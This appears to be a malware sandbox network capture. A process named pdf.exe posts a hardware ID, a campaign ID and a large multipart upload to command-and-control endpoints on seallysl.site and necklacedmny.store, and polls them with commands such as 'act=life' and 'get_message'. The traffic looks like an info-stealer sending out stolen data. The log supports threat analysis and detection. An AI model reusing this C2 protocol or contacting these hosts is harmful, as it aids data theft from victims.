2024-10-29 23:21:51 UTC	1008	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r6ccb7kl28vfbepfam7ml9kvbf; expires=Sat, 22 Feb 2025 17:08:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8aKMVjUJfGwKRsvmoR%2F0%2FjUa2ljVfWNjAuvXKSXzqatERGl8tavKfNsd5CKPbCt4aBkN6t1ut%2BQtdsTDSgDyFDDad%2B7FCZAIl41LcGdh%2BHkCIeMgKhyXmPVhtg0pavAs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e77f9f0e6b06-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1324&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2232&delivery_rate=2138847&cwnd=236&unsent_bytes=0&cid=ea19e7156fa61a95&ts=499&x=0"
2024-10-29 23:21:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:21:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	59849	104.21.43.145	443	6384	C:\Lipras\pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:53 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 565482 Host: seallysl.site
2024-10-29 23:21:53 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 33 39 32 73 4d 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g392sM----b
2024-10-29 23:21:53 UTC	15331	OUT	Data Raw: b1 ba f6 d6 8c 45 ba 3f ef ef 17 82 e0 e3 ef ca f2 57 6a 30 ce c3 83 7a de 92 3f 63 fc bf 90 9a f4 65 cf 4e 84 49 69 ff cb ef fe 23 d5 7e 5e bf dc 9f fb f3 03 bd 2a 3c 90 5d 91 a6 3b 8b ae b0 92 8b ac c6 9d ff 01 94 a6 c7 ff ef 76 93 ff fb 00 0f d1 01 38 33 45 81 56 02 a1 df 10 16 6c 7c d0 3e 9a 51 93 09 0a e3 9d 44 2f 34 f4 db 85 64 3f e6 fe 8c 11 42 fa 53 59 af d3 76 04 80 54 23 2d 18 1e 1f ec 05 3b 63 a0 c7 de 90 be 2b 7b 4f 4f 73 30 c6 9d d6 28 8f 3b be ea 2c 87 ba 5c e1 dc b1 db 36 6f 01 b5 44 4a 40 b8 7d 54 a2 30 d3 d7 3c f6 50 3b 27 92 8e 4e e2 7a dd 4b 11 3d c2 b9 de 8e 82 c0 ef 57 a6 93 fb 69 8d d3 a7 e8 dc 9e 1f d4 50 dd 3e 6f e2 c2 26 4d f4 dc 98 d8 01 75 41 d9 f0 6f df 00 12 c1 a7 06 4a b3 92 ce 39 a7 63 73 b5 10 47 0e 7d ba 00 2c fb 15 a1 b1 Data Ascii: E?Wj0z?ceNIi#~^*<];v83EVl\|>QD/4d?BSYvT#-;c+{OOs0(;,\6oDJ@}T0<P;'NzK=WiP>o&MuAoJ9csG},
2024-10-29 23:21:53 UTC	15331	OUT	Data Raw: f0 68 25 5e 23 47 74 2f c3 53 6c ae 7d 24 f1 67 4a 95 8d a8 cc bc 0e 75 ce 6a 04 9b a3 b8 ec 6f b4 9d 1b 42 9d 37 f4 43 d0 77 09 3e a9 8e 95 6a 58 f8 65 c4 78 66 5f 12 9e fd bc c2 df 42 1b a4 95 86 59 22 68 79 85 08 c0 d6 c3 ee 0c 0a b3 1e 00 ba 95 c1 ff 26 d9 39 60 e9 07 c8 2c 04 b9 5f 52 0e 9e 6d a2 08 72 dd 9e e4 ff b7 6f bb 7c aa 78 b2 b9 02 24 00 24 91 f7 7c ee f3 c4 81 c8 2e 0d 19 14 24 c0 fa 20 2e 3a 29 d2 01 9c 77 c2 59 8a 23 d2 0e d0 a1 d0 0b 60 e0 71 35 d3 a3 d8 a2 e0 55 73 fe a5 53 f7 e6 61 17 0c d6 64 db ee ca ee 2b 88 1b ea 32 e0 01 66 e9 de 68 61 9a 43 36 aa db 0c 8e 09 9a 8d 48 4f 19 d2 76 54 31 96 f1 51 6f be ab 26 74 1c 2f f1 11 37 04 0f 3e cc 44 bd 56 2a d6 a3 14 ec 6d 31 d8 d9 73 4a a9 6c a9 71 13 0b 07 3d fd e9 9d 98 57 bb ac 15 22 ca Data Ascii: h%^#Gt/Sl}$gJujoB7Cw>jXexf_BY"hy&9`,_Rmro\|x$$\|.$ .:)wY#`q5UsSad+2fhaC6HOvT1Qo&t/7>DV*m1sJlq=W"
2024-10-29 23:21:53 UTC	15331	OUT	Data Raw: 14 ba 33 34 cc 56 7f c9 db f1 12 ae 4c a4 4e a4 59 d6 a8 a7 84 bb 74 ba 8e 5d da 4a f6 15 69 c7 68 fc e9 c3 12 bb 39 9e 0a 62 47 52 d3 58 1e b5 bb d3 3d 9c 9d 22 76 88 6c 5a a8 20 5f d5 8a 5c 3d 43 57 45 ed d8 93 9a 98 ac ce 9a 98 99 af 66 65 32 c8 13 0d e9 7f 71 e1 43 a8 fe c4 6f 5b f6 83 8c 74 99 f0 cb 65 02 f5 95 5b cc f5 91 b1 98 19 7e 6a 3b e1 6b c3 d9 af 9b 1d 5f 34 f6 dd 92 a4 a5 2e bd 4a 4b 0f 31 43 20 20 28 26 56 a6 c0 06 71 e1 da 02 8a 1c 06 41 4c 19 70 15 ab 2b 09 11 b5 34 0a d4 1f 9a 5c 3f 3f 6a ba e7 28 e8 e5 c7 a8 a6 72 cc f3 41 06 85 7a f9 87 69 45 f8 57 fd 9c d2 3f 7d 0d 75 6e 7f 90 07 5d 75 d8 0f eb 59 cf f6 bc 17 03 96 57 80 25 a6 ec 23 a0 4a ae bb bb 1e c8 50 03 85 f1 7f a6 97 a5 11 33 2d 41 9b 51 32 0b ba 42 ae 4a 5f 87 88 3d b7 7e f8 Data Ascii: 34VLNYt]Jih9bGRX="vlZ _\=CWEfe2qCo[te[~j;k_4.JK1C (&VqALp+4\??j(rAziEW?}un]uYW%#JP3-AQ2BJ_=~
2024-10-29 23:21:53 UTC	15331	OUT	Data Raw: 70 ca cc 41 72 4e 95 54 2f ef 1a 3b 48 81 8e a2 e8 7e 78 95 10 8f 97 e1 2b c9 c3 d7 19 d2 04 ba 6e e6 fb 33 a3 af 46 9b 31 61 85 b7 55 2e 3e 2a 89 f8 8c d6 9d 9c 45 e6 14 c1 85 7f f0 21 d0 e5 6e 1e 2a b6 35 a3 4a 40 10 1a c3 94 a3 23 50 64 55 c4 cf 9b 05 e6 01 c7 4b 4e 6b 34 87 f8 ad 47 db 93 5b 6d ba bf 40 04 f4 7d 71 d0 f1 2b 7b 0d 28 47 53 ee b5 ba 3a d1 56 3a 75 35 dc b6 fa a6 d5 9d 15 4c d2 eb f0 2d bc 51 ba 32 b0 55 f1 2f 85 30 20 90 0b da b5 c1 40 f1 83 ae 19 ee 26 05 67 05 20 3f 3a 32 68 a3 f0 bd 85 a3 74 e8 4d bd d5 40 b8 e7 df c9 0c fb 42 4b 7e 8e 1d b8 7e 9a 80 45 bb ae 70 43 0a 0e 24 40 8a 45 88 f0 23 76 7e ee c7 60 30 37 e1 da 82 3a b4 14 16 1a 19 19 44 0e f7 db d4 ec e7 a3 5a 34 37 05 15 98 93 16 ce 10 4c 4f 9c 8a 48 a7 68 57 70 54 bd 55 60 Data Ascii: pArNT/;H~x+n3F1aU.>E!n5J@#PdUKNk4G[m@}q+{(GS:V:u5L-Q2U/0 @&g ?:2htM@BK~~EpC$@E#v~`07:DZ47LOHhWpTU`
2024-10-29 23:21:53 UTC	15331	OUT	Data Raw: 79 96 1a e7 23 cd f8 d6 36 6a 6b 6a 96 da 82 5a a6 d9 39 c1 4b e9 51 e9 02 93 8f 18 3f ab 11 fd 7f 96 d2 17 53 69 e5 1a ef a8 12 5a ca b6 f5 c8 36 ab 33 52 51 74 8d 92 f8 15 47 7f dc b2 62 9f 68 65 a5 98 ad 34 90 90 2d 22 92 2c fd 76 e2 eb c7 c2 16 5e c9 4f c5 30 60 d7 6a de fa 76 2f fd 16 f7 85 63 63 6d 18 63 7a eb 5b 25 3c 8d eb d0 87 9d 38 1e ca ac 2a 89 87 f2 f7 55 49 7c 0d 11 df d9 9f ff 14 aa 33 76 c6 d5 bd ef 25 f8 92 8e fa 6e 75 bb 39 a7 49 3e 5c 93 44 31 fe 6e 59 f8 16 5c b1 65 b7 c1 cc b1 0c 11 1f 89 bb 04 ae 0c 27 a2 3e 92 2f 9c 9e c8 54 c7 43 b3 31 a3 b6 39 35 51 5c f7 88 14 8e c6 79 96 39 84 10 32 72 20 4f 61 b3 ee a2 32 20 ac 0d 76 fd bc 65 c8 ce 70 5f b7 1c 72 55 00 51 47 7a d7 f4 a0 21 c9 74 12 9b e2 02 23 9f eb e0 60 f7 cc 5a c0 a6 0b 36 Data Ascii: y#6jkjZ9KQ?SiZ63RQtGbhe4-",v^O0`jv/ccmcz[%<8*UI\|3v%nu9I>\D1nY\e'>/TC195Q\y92r Oa2 vep_rUQGz!t#`Z6
2024-10-29 23:21:53 UTC	15331	OUT	Data Raw: 19 a2 9d d5 21 37 70 c0 2c d9 50 50 ec 85 18 f8 11 95 a5 12 37 c0 d0 02 11 53 7b cb cf e2 c0 0e 11 94 6c e0 d5 96 ec e3 a6 b2 f6 f4 19 13 d2 dd 00 db ca d5 ec e5 3c fd 2c ee 8a eb f6 cb cb 10 58 9f fd 9b 77 f6 2f 22 d0 31 40 32 84 4e 77 72 cf c3 d1 04 ce e2 e3 d9 76 e2 c9 91 d3 73 14 4d dc ed a5 b5 f0 4e c9 0b 67 9c ef e7 58 e0 45 2a 97 96 6f 06 f0 73 ee ca dd 96 39 26 64 f5 e5 a2 d6 b2 33 f7 ea a3 46 4f 9d d1 cd e4 d0 c1 9e 11 74 a1 f5 05 df 5a 9b dc f1 2d f9 07 3d 0b 1f 21 a4 78 0d a0 58 e3 6b 3f 42 f6 63 63 2d 75 1a 18 86 76 ad 80 6d e8 2c f2 bf 4b 10 e3 5d 76 2e 3b 52 45 1a 1e cb 68 c2 fd 0f 74 31 01 13 3f 52 73 c6 09 be 03 b2 82 c1 a5 dd 48 40 10 6d 0e da 1a 63 d4 01 bf 3e 30 df 59 98 4f 89 6c 92 3e f0 1b eb 46 d7 88 01 b3 16 8f 7d b0 cd 23 d8 8b b1 Data Ascii: !7p,PP7S{l<,Xw/"1@2NwrvsMNgXE*os9&d3FOtZ-=!xXk?Bcc-uvm,K]v.;REht1?RsH@mc>0YOl>F}#
2024-10-29 23:21:53 UTC	15331	OUT	Data Raw: 6c 07 62 f4 95 b4 20 13 f1 be d2 e9 f3 0d ae ca d9 f3 13 e9 26 0e 8a 97 95 9f eb cf ab 75 b8 25 d8 d6 2b c9 47 e8 5e 16 4e e2 69 42 7e a1 8d 84 ed 2d a7 5d 26 2d 13 47 c2 fb f1 41 ee 50 76 e5 aa 5a f9 4f 6c f1 e3 c8 b1 fb 66 fa 11 3c d0 9b a1 ee 91 11 55 fa 57 22 37 33 a8 f4 99 df 9f 12 ef 6f 91 19 aa 41 6f 24 c9 f4 5e 71 c1 ee df 99 b6 12 ef 4f 97 57 d2 53 04 c9 3e a7 7f ff b9 1b 02 82 9d fd 7c 18 f0 48 39 f3 b1 2b 32 3b 91 7a 7b 5e 93 5d 23 ce f5 f4 2f 7b 52 e7 5d 71 83 a7 e5 b0 7a f4 95 be e5 31 53 c8 ee b8 bb fd 75 ee bf df 2b 1e 47 69 74 4b d6 09 c2 7b 39 de 0c 16 06 77 6b 55 3c 1c 7f 7e 2b 3b cc 38 52 42 1f b5 5a 5b 8b b4 99 73 6b be 93 b7 96 83 c8 44 80 91 85 76 8c a6 bf 67 e4 61 8d c8 be 8c 21 db 59 f6 ec 0f 11 75 da c3 31 f0 b9 bd d2 22 dd 27 8e Data Ascii: lb &u%+G^NiB~-]&-GAPvZOlf<UW"73oAo$^qOWS>\|H9+2;z{^]#/{R]qz1Su+GitK{9wkU<~+;8RBZ[skDvga!Yu1"'
2024-10-29 23:21:53 UTC	15331	OUT	Data Raw: e5 db 6a 88 1e 63 87 71 d1 aa 5d 80 3b 39 1f 75 12 0f 17 dd ee 98 ab 67 5b b8 67 27 e2 0e ec 94 47 98 af 30 af f1 20 aa 0a 59 f9 f2 e7 38 69 a4 14 42 e2 b8 f0 97 71 ba fe 89 e3 22 1a 8e b0 ec dc d5 31 db 08 c2 68 ad 00 f7 16 b0 f9 6a 2c 01 10 9c 37 a3 d6 68 0b 02 ec e2 2d 92 7d 3c f2 f7 da 49 db 6c 74 cc 5a b8 9d 59 fd 5d 0c 25 6d 03 13 33 3e a4 8b d1 6a 45 24 24 11 5b 99 48 16 72 f6 e7 df 38 f9 61 be 8f df c9 c7 63 a3 cc 28 cc 67 e2 8c 73 d8 3c 42 71 d9 56 a2 f2 d2 d7 49 cd f6 c6 55 45 9d 57 3b a8 a8 88 db 52 84 be f0 77 87 f1 9e 00 f6 17 39 74 b4 95 39 a5 df f6 b3 95 f4 64 97 cc 7d 73 95 c9 73 3d b9 e4 8e 4a ce c7 63 ba 34 92 ef 96 e8 e6 9b 03 1d 8a 7a 4a f8 c4 fa 34 05 3b 0c e1 fe b7 5a 54 58 f5 45 bc c7 00 f5 ba 8f da 32 fc b5 fd 28 c2 73 36 35 91 d6 Data Ascii: jcq];9ug[g'G0 Y8iBq"1hj,7h-}<IltZY]%m3>jE$$[Hr8ac(gs<BqVIUEW;Rw9t9d}ss=Jc4zJ4;ZTXE2(s65
2024-10-29 23:21:53 UTC	15331	OUT	Data Raw: 36 01 48 58 80 79 e7 1e f7 e2 80 c5 6c 2a a3 48 74 38 eb 82 d9 8b 7a 40 2d 49 a2 56 8b 81 1b 3b ed 72 ea bd bc 1a 78 c6 64 87 2e 06 3c ef 14 93 cf a9 9e e6 b8 3d 69 2e 3e c2 b9 f1 3d 56 0a de cb 3a 90 1a 23 01 f0 1d 38 06 8e 80 ef 46 c1 b2 5b 5f b4 bf b4 f0 32 9d 69 44 74 b9 b3 c5 25 0b 14 ac 1b db 29 dc 92 a7 79 0c 58 5a 64 37 d4 ab ac 85 24 b7 20 89 e5 28 d5 1e 37 a4 96 b2 52 1f 55 9d a5 2a 2f 74 7f d1 05 41 aa e4 80 2d 09 f0 61 dd 4c d0 50 66 ea 55 31 5f 1e 66 31 f3 78 f4 c6 a9 37 d8 2b 43 0d 68 dd 2d 7a 48 7f 8f 49 fe b9 12 cd 24 38 42 0a f4 36 e0 01 31 1f a0 c4 ab 0f d0 95 68 4a c9 26 8a 37 b5 99 7b a3 8c 04 c1 aa bd 5b bd 1d 92 25 b8 45 21 36 18 9b 87 ef d8 da 35 6b c6 4a 15 75 2d 30 43 c1 e5 c9 3b a8 e9 7d cd 4b 22 52 61 93 6a c4 19 91 2b 28 19 0d Data Ascii: 6HXylHt8z@-IV;rxd.<=i.>=V:#8F[_2iDt%)yXZd7$ (7RU/tA-aLPfU1_f1x7+Ch-zHI$8B61hJ&7{[%E!65kJu-0C;}K"Raj+(
2024-10-29 23:21:54 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cu8e7po4qcf38k8tvmc2v5tvpg; expires=Sat, 22 Feb 2025 17:08:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=feSmX7DrqFis%2FhktfsEIDdxERJV9LlWnokeBL5lHeaRcur3RoMKZA4mGvei8D7ptucEs7okYhHN6zNgs8WQXFkyHNgGeh8U1TRXnCRLHCbj5%2BJg8PZ0nWY9ihs9y3d3B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e78b7cfb4760-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1185&sent=212&recv=604&lost=0&retrans=0&sent_bytes=2832&recv_bytes=568004&delivery_rate=2435660&cwnd=246&unsent_bytes=0&cid=75a99781672acbc0&ts=1789&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	59852	104.21.43.145	443	6384	C:\Lipras\pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:55 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: seallysl.site
2024-10-29 23:21:55 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 67 33 39 32 73 4d 2d 2d 26 6a 3d 26 68 77 69 64 3d 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 Data Ascii: act=get_message&ver=4.0&lid=g392sM--&j=&hwid=497D6BCDF05AD45C7EB166DF7FB1EC2E
2024-10-29 23:21:56 UTC	1003	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l7t7iimp7l6cpt6fl0pc5d9st5; expires=Sat, 22 Feb 2025 17:08:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DVWQAoQCcbBv3U872r4Jjbx9WbY9toRC0N33E08RWCj1af1SmtRGB63kotPEXCI3yQB7nb5tjCOE%2Bjw6N4oGwXUrNXPoB9a9%2FOy363rl8ob8TFFnL4iHPy%2FHdjUXqPpH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e79acf944695-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1972&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=974&delivery_rate=1547835&cwnd=251&unsent_bytes=0&cid=80439879263efb72&ts=479&x=0"
2024-10-29 23:21:56 UTC	54	IN	Data Raw: 33 30 0d 0a 54 38 64 44 41 58 49 39 6e 73 73 38 41 4a 67 74 67 53 70 47 50 61 59 65 32 6d 2f 50 6a 6e 42 6e 64 73 67 59 4b 30 33 62 77 56 51 55 6d 67 3d 3d 0d 0a Data Ascii: 30T8dDAXI9nss8AJgtgSpGPaYe2m/PjnBndsgYK03bwVQUmg==
2024-10-29 23:21:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	59886	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:22:03 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 23:22:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 23:22:04 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:22:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=71p68244j6plsoffpm3qhh9c2m; expires=Sat, 22 Feb 2025 17:08:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VEuysan6yr2kEf%2BVe4JJBywepljV%2BWG3lv%2F4pdG4UYGuIs5O6HzXiXIBf2%2FZA49X3FKBx5aZAmwOxuMO%2F5%2Bf2%2FKVigeX%2BRbE6vFMMnWs9AyuyWFaKU7sE7Wsga2SiiJnHYbPRvU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7cdfd3e2c9f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1820238&cwnd=32&unsent_bytes=0&cid=5c1f62b56257eda2&ts=544&x=0"
2024-10-29 23:22:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 23:22:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	59889	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:22:05 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 23:22:05 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 23:22:06 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a6il7ss4j7iphoj8551pndrjap; expires=Sat, 22 Feb 2025 17:08:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dxI%2BL2sqaLCgutM9lp9Nos1KVxUl8GQqv99v34RxTiUuQXsOoTRDghi%2BlQFMUywWjvBa89zhA27ka%2FLX0JDmO2N1YH7SzIRqjJx0a5E2Yo1YL1PRtW8yR1%2BPnY7MxmtLfcmBHZ4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7d70f3b6c0e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1168&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2407315&cwnd=251&unsent_bytes=0&cid=9ea3b4aeff355ed7&ts=858&x=0"
2024-10-29 23:22:06 UTC	354	IN	Data Raw: 32 35 37 61 0d 0a 66 47 47 73 65 38 33 74 32 65 74 4c 6d 6e 4f 7a 6b 47 6a 58 50 55 51 43 4c 49 6e 66 77 4e 70 49 69 79 4a 46 52 51 54 78 42 53 51 48 51 39 70 5a 39 39 6e 31 79 54 6a 2f 55 59 6e 6b 47 71 4a 59 61 43 42 4e 37 66 33 36 76 43 6e 6e 55 53 42 70 4a 6f 64 6f 42 6b 59 48 7a 52 65 2b 69 50 58 4a 4c 75 4a 52 69 63 73 54 39 56 67 71 49 42 61 72 75 71 71 34 4b 65 64 41 4a 43 35 72 67 57 6c 48 46 41 33 4c 45 36 69 4f 76 59 6f 6e 39 78 62 57 39 51 6d 39 55 79 31 76 52 4f 54 39 37 50 67 74 38 51 42 2f 5a 30 6d 55 63 55 55 78 41 4e 38 51 37 35 44 31 6b 47 6e 2f 48 5a 47 71 53 72 5a 59 4a 6d 35 4b 37 62 53 6f 73 69 44 76 51 53 45 76 64 4a 68 6a 54 42 51 44 79 42 4b 69 68 36 6d 48 4c 66 41 64 30 50 38 4a 39 52 46 6d 5a 31 61 72 35 65 4c 72 47 4f 70 52 4e Data Ascii: 257afGGse83t2etLmnOzkGjXPUQCLInfwNpIiyJFRQTxBSQHQ9pZ99n1yTj/UYnkGqJYaCBN7f36vCnnUSBpJodoBkYHzRe+iPXJLuJRicsT9VgqIBaruqq4KedAJC5rgWlHFA3LE6iOvYon9xbW9Qm9Uy1vROT97Pgt8QB/Z0mUcUUxAN8Q75D1kGn/HZGqSrZYJm5K7bSosiDvQSEvdJhjTBQDyBKih6mHLfAd0P8J9RFmZ1ar5eLrGOpRN
2024-10-29 23:22:06 UTC	1369	IN	Data Raw: 67 72 75 62 49 66 4d 61 31 4f 41 42 76 46 49 72 59 45 50 68 73 71 47 34 4c 65 4e 4b 4b 43 31 69 6e 6d 70 41 48 67 4f 4f 56 2b 2b 49 6f 38 6c 78 75 44 4c 55 34 67 32 35 53 57 52 61 44 76 54 7a 75 2f 67 74 35 51 42 2f 5a 32 36 57 5a 45 55 56 44 4d 30 52 70 4a 32 37 6d 79 2f 31 46 4d 50 30 44 37 74 56 4a 58 4a 45 35 62 75 68 73 53 48 67 52 53 41 6a 4a 74 30 6e 51 51 5a 44 6c 6c 6d 4f 67 72 43 46 49 2b 38 52 6b 65 31 45 72 42 38 68 62 41 36 7a 2f 61 61 35 4c 75 68 45 4b 53 6c 69 6e 32 46 49 45 77 7a 49 45 36 2b 49 73 59 45 68 2b 52 7a 61 2f 51 71 77 55 69 4a 6d 51 75 71 34 34 76 5a 71 37 6c 68 6e 66 79 61 39 59 45 55 4d 51 66 73 61 6f 59 47 38 6e 32 6e 6e 58 38 69 79 44 62 6b 66 66 69 42 41 37 72 4b 77 75 54 6a 73 54 6a 55 72 59 35 56 71 52 52 41 44 79 78 36 Data Ascii: grubIfMa1OABvFIrYEPhsqG4LeNKKC1inmpAHgOOV++Io8lxuDLU4g25SWRaDvTzu/gt5QB/Z26WZEUVDM0RpJ27my/1FMP0D7tVJXJE5buhsSHgRSAjJt0nQQZDllmOgrCFI+8Rke1ErB8hbA6z/aa5LuhEKSlin2FIEwzIE6+IsYEh+Rza/QqwUiJmQuq44vZq7lhnfya9YEUMQfsaoYG8n2nnX8iyDbkffiBA7rKwuTjsTjUrY5VqRRADyx6
